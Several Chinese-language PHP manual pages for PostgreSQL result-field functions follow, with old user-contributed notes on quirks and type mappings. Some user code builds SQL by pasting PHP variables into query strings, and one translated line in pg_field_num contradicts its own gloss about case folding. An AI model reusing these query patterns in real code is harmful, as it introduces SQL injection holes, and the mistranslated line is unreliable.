ElDiablo 02-Oct-2018 11:25
Please note that a very old bug (#76548) has been fixed in 7.2.8.

Previously, pg_fetch_result did not fetch the next row if $row was omitted.
It is now well the case, so bad use of the function can now cause some bugs in your codes.
Alan U. Kennington 22-Sep-2006 06:49
See bug #33809 http://bugs.php.net/bug.php?id=33809
Whether this really is a bug or a feature is not clear.
However, it is probably best to always put your column names in extra quotes.

$res = pg_query(...);
$colname = pg_field_name($res, $j);
pg_fetch_result($res, $i, "\"$colname\"");
Alan U Kennington 22-Sep-2006 05:16
In order to use upper case in pg_fetch_result column names, it is apparently necessary to include explicit quotation marks.

Thus when I do this sort of thing:

$res = pg_query(...);
$ncols = pg_num_fields($res);
for ($j = 0; $j < $ncols; ++$j) {
    $colname[$j] = pg_field_name($res, $j);
    $name = htmlspecialchars($colname[$j]);
    print("Column $j name = \"$name\"\n");
    $value = htmlspecialchars(pg_fetch_result($res, 0, $colname[$j]));
    print("Column \"{$colname[$j]}\" value = \"$value\"\n");
    }

I get this sort of thing:

[....]
Warning: pg_fetch_result() [function.pg-fetch-result]: Bad column offset specified in /.../view.php on line 247
Column 8 name = "VEC index"
Column "VEC index" value = ""

But if I change the $value line to this:

$value = htmlspecialchars(pg_fetch_result($res, 0, "\"$colname[$j]\""));

I get this:

[...]
Column 8 name = "VEC index"
Column "VEC index" value[0] = "47"

In my opinion, pg_fetch_result(...) should use the quotes already. In other words, this may be a bug in the PHP postgres library. It does not seem to be a documented feature of pg_fetch_result() although the postgresql manual documents it under "SQL syntax", "Lexical structure".

PHP version 5.1.4.
psql version 8.1.4.
Akbar 01-Dec-2004 08:01
Use can use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');

?>
newby_AT_nobletec_DOT_com 04-Sep-2002 08:12
Comment on boolean fields:

If you retrieve a boolean value from the PostgreSQL database, be aware that the value returned will be either the character 't' or the character 'f', not an integer.  So, the statement

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField')) {
       echo "TRUE";
     } else {
       echo "FALSE";
     }

will echo "TRUE" in either case (True or False stored in the field).  In order to work as expected, do this instead:

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField') == 't') {
       echo "TRUE";
     } else {
       echo "FALSE";
     }


提取一行作为枚举数组

  • ? pg_fetch_result
  • pg_field_is_null ?
  • PHP Manual
  • PostgreSQL 函数
  • 提取一行作为枚举数组

pg_fetch_row

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_row — 提取一行作为枚举数组

说明

pg_fetch_row(PgSql\Result $result, ?int $row = null, int $mode = PGSQL_NUM): array|false

pg_fetch_row() 根据指定 result 实例提取一行数据（记录）作为数组返回。每个得到的列依次存放在数组中，偏移量从 0 开始。

Note: 此函数将 NULL 字段设置为 PHP null 值。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

row

要获取的结果中的行号。行从 0 向上编号。如果省略或为 null，则获取下一行。

mode

An optional parameter that controls how the returned array is indexed. mode is a constant and can take the following values: PGSQL_ASSOC, PGSQL_NUM and PGSQL_BOTH. Using PGSQL_NUM, the function will return an array with numerical indices, using PGSQL_ASSOC it will return only associative indices while PGSQL_BOTH will return both numerical and associative indices.

返回值

array，从 0 向上索引，每个值表示为一个 string。数据库 NULL 值作为 null 返回。

返回的数组和提取的行相一致。如果没有更多行 row 可提取，则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_fetch_row() 示例

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
echo "An error occurred.\n";
exit;
}

while ($row = pg_fetch_row($result)) {
echo "Author: $row[0] E-mail: $row[1]";
echo "<br />\n";
}

?>

参见

  • pg_query() - 执行查询
  • pg_fetch_array() - 获取一行作为数组
  • pg_fetch_object() - 获取一行作为对象
  • pg_fetch_result() - 从结果实例返回值

User Contributed Notes

eddie at eddiemonge dot com 06-Oct-2009 05:09
pg_fetch_row is faster than pg_fetch_assoc when doing a query with * as the select parameter. Otherwise, with declared columns, the two are similar in speed.
pletiplot at seznam dot cz 06-Jun-2006 03:18
Note, that when you retrieve some PG boolean value, you get 't' or 'f' characters which are not compatible with PHP bool.
post at zeller-johannes dot de 26-Apr-2005 02:51
I wondered whether array values of PostgreSQL are converted to PHP arrays by this functions. This is not the case, they are stored in the returned array as a string in the form "{value1 delimiter value2 delimiter value3}" (See http://www.postgresql.org/docs/8.0/interactive/arrays.html#AEN5389).
maxnamara at yahoo dot com 14-Oct-2004 12:03
Get downlines, put them into arrays.

function get_downlines($my_code){
    global $link;

    $sql = "select user_id, name from tb_user where parentcode = $my_code";
    $res = pg_query($link,$sql);
    if(!$res){
        echo "Error: ".$sql;exit();
    }
    $num_fields = pg_num_fields($res);
    $info_rows = 0;

    $num_rows = pg_num_rows($res);
    while($arr = pg_fetch_row($res)){

           $info_offset  = 1;
         $info_columns  = 0;

        while ($info_offset <= $num_fields) {
                 $info_elements[$info_rows][$info_columns] = $arr[$info_columns];
                 $info_offset++; $info_columns++;
        }
        $info_rows++;
    }
return $info_elements;
}
Matthew Wheeler 22-May-2003 09:29
Note that the internal row counter is incremented BEFORE the row is retrieved. This causes an off by one error if you try to do:

pg_result_seek($resid,0);
pg_fetch_row($resid);

you will get back the SECOND result not the FIRST.
imantr at cbn dot net dot id 23-Jul-2002 08:38
I use the following code to assigning query result to an array.

while ($row = pg_fetch_row($result)) $newArray[] = $row[0];

print_r($newArray);
darw75 at swbell dot net 22-Aug-2001 05:39
a way to do this with 2 loops to insert data into a table...

$num = pg_numrows($result);
$col_num = pg_numfields($result);

for ($i=0; $i<$num; $i++) {
  $line  = pg_fetch_array($result, $i, PGSQL_ASSOC);
  print "\t<tr bgcolor=#dddddd>\n";
    for ($j=0; $j<$col_num; $j++){
    list($col_name, $col_value) =each($line);
    print "\t\t<TD ALIGN=RIGHT><FONT SIZE=1 FACE='Geneva'>$col_value</FONT></TD>\n";
    }
  echo "<br>";
  }


测试字段是否为 SQL NULL

  • ? pg_fetch_row
  • pg_field_name ?
  • PHP Manual
  • PostgreSQL 函数
  • 测试字段是否为 SQL NULL

pg_field_is_null

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_is_null — 测试字段是否为 SQL NULL

说明

pg_field_is_null(PgSql\Result $result, int $row, mixed $field): int
pg_field_is_null(PgSql\Result $result, mixed $field): int

pg_field_is_null() 测试 PgSql\Result 实例中的字段是否为 SQL NULL。

Note:

此函数过去称为 pg_fieldisnull()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

row

要获取的结果中的行号。行从 0 向上编号。如果省略或，则获取当前行。

field

作为 int 的字段编号（从 0 开始）或作为 string 的字段名。

返回值

如果指定行中的字段为 SQL NULL，则返回 1，否则返回 0。如果该行超出范围或发生任何其他错误，则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_field_is_null() 示例

<?php
$dbconn = pg_connect("dbname=publisher") or die ("Could not connect");
$res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
if ($res) {
if (pg_field_is_null($res, 0, "year") == 1) {
echo "The value of the field year is null.\n";
}
if (pg_field_is_null($res, 0, "year") == 0) {
echo "The value of the field year is not null.\n";
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


返回字段名

  • ? pg_field_is_null
  • pg_field_num ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回字段名

pg_field_name

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_name — 返回字段名

说明

pg_field_name(PgSql\Result $result, int $field): string

pg_field_name() 返回在指定 result 实例中占据 field 字段的字段名。字段编号从 0 开始。

Note:

此函数过去称为 pg_fieldname()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

field

字段编号，从 0 开始。

返回值

字段名。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 获取字段信息

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

$res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
$i = pg_num_fields($res);
for ($j = 0; $j < $i; $j++) {
echo "column $j\n";
$fieldname = pg_field_name($res, $j);
echo "fieldname: $fieldname\n";
echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
echo "field type: " . pg_field_type($res, $j) . " \n\n";
}
?>

以上示例会输出：

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

参见

  • pg_field_num() - 返回名为 field 的字段编号

User Contributed Notes

12-Aug-2004 10:01
In fact you can extract the size of the varchar field, by simply sending the following query:
"select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'"

here is a simple function that does that:

function get_field_size($table, $field, $link) {

        $result = pg_query($link, "select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'");

        $data = pg_fetch_object($result);

        return ($data->atttypmod - 4);

}

returned value is a size of a given field (also varchar)
ccasal at compuserve dot com 12-Jan-2001 11:51
The pg_fieldname function only returns the unqualified name from the select statement. example:

select c.name, con.name from customer c, contacts con where con.customer_id = c.id;

pg_fieldname will return "name" for both fields instead of c.name and con.name.

This is a PostgreSQL limitation, not a PHP limitation.

if you need different field names you should use :

select c.name as customer_name, con.name as contact_name from customer c, contacts con where con.customer_id = c.id;

then pg_fieldname will return "customer_name" and "contact_name"


返回名为 field 的字段编号

  • ? pg_field_name
  • pg_field_prtlen ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回名为 field 的字段编号

pg_field_num

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_num — 返回名为 field 的字段编号

说明

pg_field_num(PgSql\Result $result, string $field): int

pg_field_num() 将返回与指定 result 实例中的 field 对应的字段编号。

Note:

本函数以前的名字为 pg_fieldnum()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

field

字段名。 指定的名称被视为 SQL 命令中的标识符，也就是说，除非用双引号引起来，否则它将是大写（downcased）。

返回值

字段编号（从 0 开始），错误时为 -1。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 获取字段信息

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

$res = pg_query($dbconn, "select author, year, title from authors where author = 'Orwell'");

echo "Column 'title' is field number: ", pg_field_num($res, 'title');
?>

以上示例会输出：

Column 'title' is field number: 2

参见

  • pg_field_name() - 返回字段名

User Contributed Notes

There are no user contributed notes for this page.


返回打印的长度

  • ? pg_field_num
  • pg_field_size ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回打印的长度

pg_field_prtlen

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_prtlen — 返回打印的长度

说明

pg_field_prtlen(PgSql\Result $result, int $row_number, mixed $field_name_or_number): int
pg_field_prtlen(PgSql\Result $result, mixed $field_name_or_number): int

pg_field_prtlen() 返回 PostgreSQL result 中特定值的实际打印长度（字符数）。行编号从 0 开始。此函数将在出错时返回 false。

field_name_or_number 可以传递 int 或 string。如果它作为 int 传递，PHP 将其视为字段号，否则视为字段名。

请参阅 pg_field_name() 页面中给出的示例。

Note:

本函数以前的名字为 pg_fieldprtlen()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

row

结果中的行号。行从 0 向上编号。如果省略，则获取当前行。

返回值

字段打印的长度。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 获取字段的信息

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

$res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
$i = pg_num_fields($res);
for ($j = 0; $j < $i; $j++) {
echo "column $j\n";
$fieldname = pg_field_name($res, $j);
echo "fieldname: $fieldname\n";
echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
echo "field type: " . pg_field_type($res, $j) . " \n\n";
}
?>

以上示例会输出：

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

参见

  • pg_field_size() - 返回指定字段的内部存储大小

User Contributed Notes

djmaze@moocms 25-Aug-2007 05:01
Or even easier to keep things simple on fetching

SELECT a.attname AS name, t.typname AS type, a.attstorage AS i,
    CASE WHEN a.attlen = -1 THEN a.atttypmod ELSE a.attlen END AS size
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = 'moo_members'
    AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped
gregm at gxsnmp dot org 12-Feb-2007 08:11
If you update the query to this:

$s = "SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
   FROM pg_attribute a , pg_class c, pg_type t
   WHERE c.relname = '$TABLE'
   AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped";

You get postgres to filter out the 'postgres' columns and get only your columns back.
r dot galovic at r-3 dot at 18-Apr-2005 01:54
mysql_field_len () function and more for postgres ...

problems ...
* pg_field_prtlen ... gives the actual size of the field back (it shows the count of the content allready inside the field - not the possible max-len)
* pg_filed_size ... can't be used for varchar or bpchar fields

...but there is a way to get the real-max-length of a field in postgreSQL via the system tables:

//returns an array with infos of every field in the table (name, type, length, size)
function SQLConstructFieldsInfo($TABLE, $DBCON)
{
    $s="SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = '$TABLE'
    AND a.attrelid = c.oid AND a.atttypid = t.oid";

    if ($r = pg_query($DBCON,$s))
    {
        $i=0;
        while ($q = pg_fetch_assoc($r))
        {
               $a[$i]["type"]=$q["type"];
               $a[$i]["name"]=$q["name"];
               if($q["len"]<0 && $q["i"]!="x")
               {
                   // in case of digits if needed ... (+1 for negative values)
                   $a[$i]["len"]=(strlen(pow(2,($q["size"]*8)))+1);
               }
               else
               {
                   $a[$i]["len"]=$q["len"];
               }
               $a[$i]["size"]=$q["size"];
            $i++;
        }
        return $a;
    }
    return null;
}

// usage
$DBCON=pg_connect("host=YOUR-HOST port=YOUR-PORT dbname=YOUR-DB user=YOUR-USER password=YOUR-PASS");
$TABLE="YOUR-TABLENAME";
$RET=SQLConstructFieldsInfo($TABLE, $DBCON);

$j = count($RET);
for ($i=0; $i < $j; $i++)
{
    echo "<br>$i name=".$RET[$i]["name"]." type=".$RET[$i]["type"]." length=".$RET[$i]["len"]." size=".$RET[$i]["size"]." bytes";
}


返回指定字段的内部存储大小

  • ? pg_field_prtlen
  • pg_field_table ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回指定字段的内部存储大小

pg_field_size

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_size — 返回指定字段的内部存储大小

说明

pg_field_size(PgSql\Result $result, int $field): int

pg_field_size() 返回指定 PostgreSQL result 中字段编号的内部存储大小（以字节为单位）。

Note:

本函数以前的名字为 pg_fieldsize()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

field

字段编号，从 0 开始。

返回值

内部字段存储大小（以字节为单位）。-1 表示可变长度字段。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 获取字段信息

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

$res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
$i = pg_num_fields($res);
for ($j = 0; $j < $i; $j++) {
echo "column $j\n";
$fieldname = pg_field_name($res, $j);
echo "fieldname: $fieldname\n";
echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
echo "field type: " . pg_field_type($res, $j) . " \n\n";
}
?>

以上示例会输出：

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

参见

  • pg_field_prtlen() - 返回打印的长度
  • pg_field_type() - 返回相应字段编号的类型名称

User Contributed Notes

ij at NOSPAM dot irj dot co dot za 14-Jun-2005 04:21
To view the file structure of a table using a sql query

select pg_class.relname, pg_attribute.attname, pg_type.typname, pg_type.typlen from pg_class, pg_attribute, pg_type  where pg_class.relname = 'YOURTABLENAME' and pg_class.oid = pg_attribute.attrelid and pg_type.oid = pg_attribute.atttypid having attnum > 0
php at tribun dot de 23-Feb-2005 05:49
function get_create_syntax( $table )
{
  $qry  =  "
            SELECT    *
            FROM      $table
            LIMIT     1
          ";
  $res = pg_query( $qry );
  $row = pg_fetch_assoc( $res );

  $create = "CREATE TABLE $table \n(\n";

  $item = array();
  for( $i = 0; $i < count( $row ); $i++ )
  {
    $name = pg_field_name( $res, $i );
    $type = pg_field_type( $res, $i );
    $size = pg_field_size( $res, $i );

    $item[$i] = '"'.$name.'" '.$type;

    $qry  =  "
              SELECT    a.atttypmod    AS size,
                        a.attnotnull  AS notnull
              FROM      pg_attribute  AS a,
                        pg_class      AS c
              WHERE     c.relname   = '$table'
              AND       a.attrelid  =  c.oid
              AND       a.attname    =  '$name'
             ";
    $res2  = pg_query( $qry );
    $out  = pg_fetch_object( $res2 );

    if( $out -> size != -1 )
    {
      $item[$i] .= '('.( $out -> size - 4 ).')';
    }
    if( $out -> notnull == 't' )
    $item[$i] .= ' NOT';

    $item[$i] .= ' NULL';

  }
  $create .= implode( ",\n", $item ) ."\n);";

  return $create;
}
alex at linuxNOSPAM dot org dot pe 02-Jul-2002 09:44
How i can extract the struct of a Postgresql Table?

I want to do a dynamic php code, that see the pg table, and print name, type and size of fields


Returns the name or oid of the tables field

  • ? pg_field_size
  • pg_field_type_oid ?
  • PHP Manual
  • PostgreSQL 函数
  • Returns the name or oid of the tables field

pg_field_table

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

pg_field_table — Returns the name or oid of the tables field

说明

pg_field_table(PgSql\Result $result, int $field, bool $oid_only = false): string|int|false

pg_field_table() returns the name of the table that field belongs to, or the table's oid if oid_only is true.

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

field

Field number, starting from 0.

oid_only

By default the tables name that field belongs to is returned but if oid_only is set to true, then the oid will instead be returned.

返回值

On success either the fields table name or oid, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 Getting table information about a field

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

$res = pg_query($dbconn, "SELECT bar FROM foo");

echo pg_field_table($res, 0);
echo pg_field_table($res, 0, true);

$res = pg_query($dbconn, "SELECT version()");
var_dump(pg_field_table($res, 0));
?>

以上示例的输出类似于：

foo
14379580

bool(false)

注释

Note:

Returning the oid is much faster than returning the table name because fetching the table name requires a query to the database system table.

参见

  • pg_field_name() - 返回字段名
  • pg_field_type() - 返回相应字段编号的类型名称

User Contributed Notes

giultar at gmail dot com 02-Jun-2020 08:52
this function return an OID even if your field comes from a view or a select but return FALSE if your field comes from an UNION select
strata_ranger at hotmail dot com 15-May-2009 11:11
pg_field_table is primarily useful for queries that involve joins between multiple tables, e.g:

<?php
$res = pg_query("SELECT table1.foo, table2.bar FROM table1 JOIN table2");
echo pg_field_table($res, 0); // Outputs 'table1'
echo pg_field_table($res, 1); // Outputs 'table2'
?>

However, be aware of a few easy 'gotchas':

1- If your query contains static values in its select-list, pg_field_table() will yield FALSE for those fields (because it was a static value, not one fetched from a table):

<?php
$res = pg_query("SELECT 'foo', bar FROM table");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // Outputs 'table'
?>

2- If you UNION two queries together from different tables, pg_field_table() will return FALSE for all fields:

<?php
$res = pg_query("(Select foo, bar from table1) UNION (Select foo, bar from table2)");
echo pg_field_table($res, 0); // FALSE
echo pg_field_table($res, 1); // FALSE
?>


Returns the type ID (OID) for the corresponding field number

  • ? pg_field_table
  • pg_field_type ?
  • PHP Manual
  • PostgreSQL 函数
  • Returns the type ID (OID) for the corresponding field number

pg_field_type_oid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_field_type_oid — Returns the type ID (OID) for the corresponding field number

说明

pg_field_type_oid(PgSql\Result $result, int $field): string|int

pg_field_type_oid() returns an integer containing the OID of the base type of the given field in the given result instance.

You can get more information about the field type by querying PostgreSQL's pg_type system table using the OID obtained with this function. The PostgreSQL format_type() function will convert a type OID into an SQL standard type name.

Note:

If the field uses a PostgreSQL domain (rather than a basic type), it is the OID of the domain's underlying type that is returned, rather than the OID of the domain itself.

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

field

Field number, starting from 0.

返回值

The OID of the field's base type.

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 Getting information about fields

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

// Assume 'title' is a varchar type
$res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

echo "Title field type OID: ", pg_field_type_oid($res, 0);
?>

以上示例会输出：

Title field type OID: 1043

参见

  • pg_field_type() - 返回相应字段编号的类型名称
  • pg_field_prtlen() - 返回打印的长度
  • pg_field_name() - 返回字段名

User Contributed Notes

stanislav dot perfilov at gmail dot com 20-Jan-2021 01:23
<?php

private function mapping($q, $result)
    {
        $types = [];
        for ($i = 0, $count = \pg_num_fields($q); $i < $count; ++$i) {
            $types[$i] = \pg_field_type_oid($q, $i);
        }
        foreach ($result as $k => &$row) {
            $i = -1;
            foreach ($row as $name => &$value) {
                ++$i;
                if ($value === null) {
                    continue;
                }
                switch ($types[$i]) {
                    case 20:
                    case 21:
                    case 23: $value = (int)$value; break;
                    case 16507: /*$value = (string)$value; */break;
                    default:
                        throw new \RuntimeException(
                            \pg_field_type($q, $i) .' type. Need mapping ' . \pg_field_type_oid($q, $i)
                        );
                }
            }
        }
        unset($value, $row);

        return $result;
    }

?>
mauroi at digbang dot com 24-Mar-2005 07:55
This function can be used to improve the performance of your application.
pg_field_type() makes an internal query to the pg_type table and it can be really slow.
So if your application previously know the oids of your database, you can save the execution time of this query in every request.


返回相应字段编号的类型名称

  • ? pg_field_type_oid
  • pg_flush ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回相应字段编号的类型名称

pg_field_type

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_field_type — 返回相应字段编号的类型名称

说明

pg_field_type(PgSql\Result $result, int $field): string

pg_field_type() 返回字符串，其中包含指定 result 实例中指定 field 的基本类型名称。

Note:

如果字段使用 PostgreSQL domain（而不是基本类型），则返回的是 domain 的底层类型名称，而不是 domain 本身的名称。

Note:

本函数以前的名字为 pg_fieldtype()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

field

字段编号，从 0 开始。

返回值

包含字段类型的基本名称的 string。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 获取字段信息

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

// 假设 'title' 是 varchar 类型
$res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

echo "Title field type: ", pg_field_type($res, 0);
?>

以上示例会输出：

Title field type: varchar

参见

  • pg_field_prtlen() - 返回打印的长度
  • pg_field_name() - 返回字段名
  • pg_field_type_oid() - Returns the type ID (OID) for the corresponding field number

User Contributed Notes

Joshua Burns 01-Mar-2013 10:29
Here is an updated list of nearly every PostgreSQL data type, and PHP's internal C-type equivalent, updated for PostgreSQL 9.2. The first array maps PHP's internal data type to PostgreSQL's equivalents. The second maps PostgreSQL's data-types to PHP's equivalents.

<?php

$php_to_pg = array(
    'bit' => array('bit'),
    'bool' => array('boolean'),
    'box' => array('box'),
    'bpchar' => array('character','char'),
    'bytea' => array('bytea'),
    'cidr' => array('cidr'),
    'circle' => array('circle'),
    'date' => array('date'),
    'daterange' => array('daterange'),
    'float4' => array('real'),
    'float8' => array('double precision'),
    'inet' => array('inet'),
    'int2' => array('smallint', 'smallserial'),
    'int4' => array('integer', 'serial'),
    'int4range' => array('int4range'),
    'int8' => array('bigint', 'bigserial'),
    'int8range' => array('int8range'),
    'interval' => array('interval'),
    'json' => array('json'),
    'lseg' => array('lseg'),
    'macaddr' => array('macaddr'),
    'money' => array('money'),
    'numeric' => array('decimal', 'numeric'),
    'numrange' => array('numrange'),
    'path' => array('path'),
    'point' => array('point'),
    'polygon' => array('polygon'),
    'text' => array('text'),
    'time' => array('time', 'time without time zone'),
    'timestamp' => array('timestamp', 'timestamp without time zone'),
    'timestamptz' => array('timestamp with time zone'),
    'timetz' => array('time with time zone'),
    'tsquery' => array('tsquery'),
    'tsrange' => array('tsrange'),
    'tsvector' => array('tsvector'),
    'uuid' => array('uuid'),
    'varbit' => array('bit varying'),
    'varchar' => array('character varying', 'varchar'),
    'xml' => array('xml'),
);

$pg_to_php = array(
    'bit' => 'bit',
    'boolean' => 'bool',
    'box' => 'box',
    'character' => 'bpchar',
    'char' => 'bpchar',
    'bytea' => 'bytea',
    'cidr' => 'cidr',
    'circle' => 'circle',
    'date' => 'date',
    'daterange' => 'daterange',
    'real' => 'float4',
    'double precision' => 'float8',
    'inet' => 'inet',
    'smallint' => 'int2',
    'smallserial' => 'int2',
    'integer' => 'int4',
    'serial' => 'int4',
    'int4range' => 'int4range',
    'bigint' => 'int8',
    'bigserial' => 'int8',
    'int8range' => 'int8range',
    'interval' => 'interval',
    'json' => 'json',
    'lseg' => 'lseg',
    'macaddr' => 'macaddr',
    'money' => 'money',
    'decimal' => 'numeric',
    'numeric' => 'numeric',
    'numrange' => 'numrange',
    'path' => 'path',
    'point' => 'point',
    'polygon' => 'polygon',
    'text' => 'text',
    'time' => 'time',
    'time without time zone' => 'time',
    'timestamp' => 'timestamp',
    'timestamp without time zone' => 'timestamp',
    'timestamp with time zone' => 'timestamptz',
    'time with time zone' => 'timetz',
    'tsquery' => 'tsquery',
    'tsrange' => 'tsrange',
    'tstzrange' => 'tstzrange',
    'tsvector' => 'tsvector',
    'uuid' => 'uuid',
    'bit varying' => 'varbit',
    'character varying' => 'varchar',
    'varchar' => 'varchar',
    'xml' => 'xml'
);

?>
Anonymous 16-Jan-2010 07:18
Also be aware that postgreSQL array fields will prefix the type name with an underscore (e.g. "_int4" or "_text"), while composite a.k.a. row-type fields will return type "record".
marxarelli 02-Jan-2006 02:34
Because complete documentation is always helpful, here are all the PostgreSQL general purpose types as they are listed in the 8.1 documentation, and each corresponding string returned by pg_field_type().

bigint => int8
bigserial => int8
bit => bit
bit varying => varbit
boolean => bool
box => box
bytea => bytea
character varying => varchar
character => bpchar
cidr => cidr
circle => circle
date => date
double precision => float8
inet => inet
integer => int4
interval => interval
line => line
lseg => lseg
macaddr => macaddr
money => money
numeric => numeric
path => path
point => point
polygon => polygon
real => float4
smallint => int2
serial => int4
text => text
time => time
time with time zone => timetz
timestamp => timestamp
timestamp with time zone => timestamptz

And for the record... (note the 7.4 client lib)
# postmaster --version
postmaster (PostgreSQL) 8.0.4

# ldd libphp4.so
...
libpq.so.3 => /usr/lib/libpq.so.3 (0xb7ac8000)
...
andy at a 2 h d dot com 03-May-2003 12:09
The types returned are:
  bool
  int2 (smallint)
  int4
  int8 (bigint)
  numeric
  float4 (real / float)
  float8 (double)
  timestamp
  date
  time
  varchar
  bpchar (fixed leng string, 'blank padded char')
  inet (ip address)
  money

There are some other more esoteric types, e.g. 'circle', but these are the most common.


刷新链接中已处理的数据查询

  • ? pg_field_type
  • pg_free_result ?
  • PHP Manual
  • PostgreSQL 函数
  • 刷新链接中已处理的数据查询

pg_flush

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_flush — 刷新链接中已处理的数据查询

说明

pg_flush(PgSql\Connection $connection): int|bool

pg_flush() 刷新任何已经处理的等待发送到链接的数据查询。

参数

connection

PgSql\Connection 实例。

返回值

如果刷新成功或者没有数据等待刷新返回 true ， 如果返回 0 为部分刷新或者更多未被刷新,刷新失败为 false

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

User Contributed Notes

There are no user contributed notes for this page.


释放查询结果占用的内存

  • ? pg_flush
  • pg_get_notify ?
  • PHP Manual
  • PostgreSQL 函数
  • 释放查询结果占用的内存

pg_free_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_free_result — 释放查询结果占用的内存

说明

pg_free_result(PgSql\Result $result): bool

